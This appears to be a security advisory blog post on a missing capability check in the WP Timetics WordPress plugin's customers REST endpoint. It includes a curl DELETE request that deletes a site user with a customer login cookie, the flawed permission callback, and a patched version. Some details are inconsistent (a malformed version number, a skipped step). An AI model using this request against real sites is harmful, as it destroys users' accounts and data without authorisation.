Discovered: Early 2024
Severity: High
Affected Plugin: WP Timetics
Vulnerable Versions: ≤ 1..27
Plugin Purpose: Appointment booking & scheduling with AI features
Bug Type: Broken Access Control / Missing Capability Check
Reference: WPScan Advisory

TL;DR

The WP Timetics plugin, a popular WordPress scheduling addon, is vulnerable to an *unauthorized data loss* flaw. Any logged-in customer, or anyone with higher privileges, can delete *any user* on the site—including admins—via a weak REST API endpoint. The problem is due to a missing capability check.

Timetics exposes a REST API endpoint

/wp-json/timetics/v1/customers/

This endpoint allows operations (including deletion) on customer data. The plugin *should* check if the logged-in user has the right privilege or role before letting them delete someone. But all it checks is if you’re logged in as a Timetics Customer (the lowest plugin-level access)! This means, with a standard customer account (which customers can *register for themselves!*), you can perform dangerous actions on the site.

The Impact

- Any authenticated user with a Timetics “Customer” role (or above) can delete any user (including admins) from WordPress via the API.

Attackers can automate user deletion with simple tools.

- Could be used for targeted sabotage, privilege escalation, or denial-of-service on WordPress user accounts.

Step 1: Register or log into a site as any customer

Just create a customer account using Timetics' registration page, or use an existing customer account.

Get your wordpress_logged_in cookie for authentication.

Step 3: Send DELETE request to the REST API endpoint

curl -X DELETE https://victim-site.com/wp-json/timetics/v1/customers/1 \
  -b "wordpress_logged_in_xxxx=YOUR_COOKIE_HERE"

Result: The targeted user is deleted from the WordPress database!

Here’s what happens in the plugin’s code (simplified)

register_rest_route( 'timetics/v1', '/customers/(?P<id>\d+)', array(
    'methods' => 'DELETE',
    'callback' => 'timetics_delete_customer',
    // PROBLEM: No proper 'permission_callback'
    'permission_callback' => function() {
        // Only checks if user is logged in (is_user_logged_in())
        return is_user_logged_in();
    }
) );

The permission callback should check for capability, like current_user_can( 'delete_users' ), but the plugin just checks if you’re logged in.

So, the delete function can be abused by any basic customer!

Mitigation

1. Update immediately: The developer has addressed this in later versions (changelog).
2. Restrict access to the vulnerable endpoint with a plugin like Wordfence or Disable REST API.

Make sure your REST route checks for real permissions

'permission_callback' => function() {
    // Only let admins or trusted roles delete users
    return current_user_can('delete_users');
}

Resources & Further Reading

- WPScan Official Advisory
- Plugin Homepage
- REST API Permission Callbacks

Final Thoughts

This bug highlights why capability checks are critical in WordPress plugins. Never trust just authentication—always validate a user’s capabilities. If you use WP Timetics, update now! This exploit is trivial to automate and could devastate your user base in seconds.

Timeline

Published on: 12/13/2024 09:15:04 UTC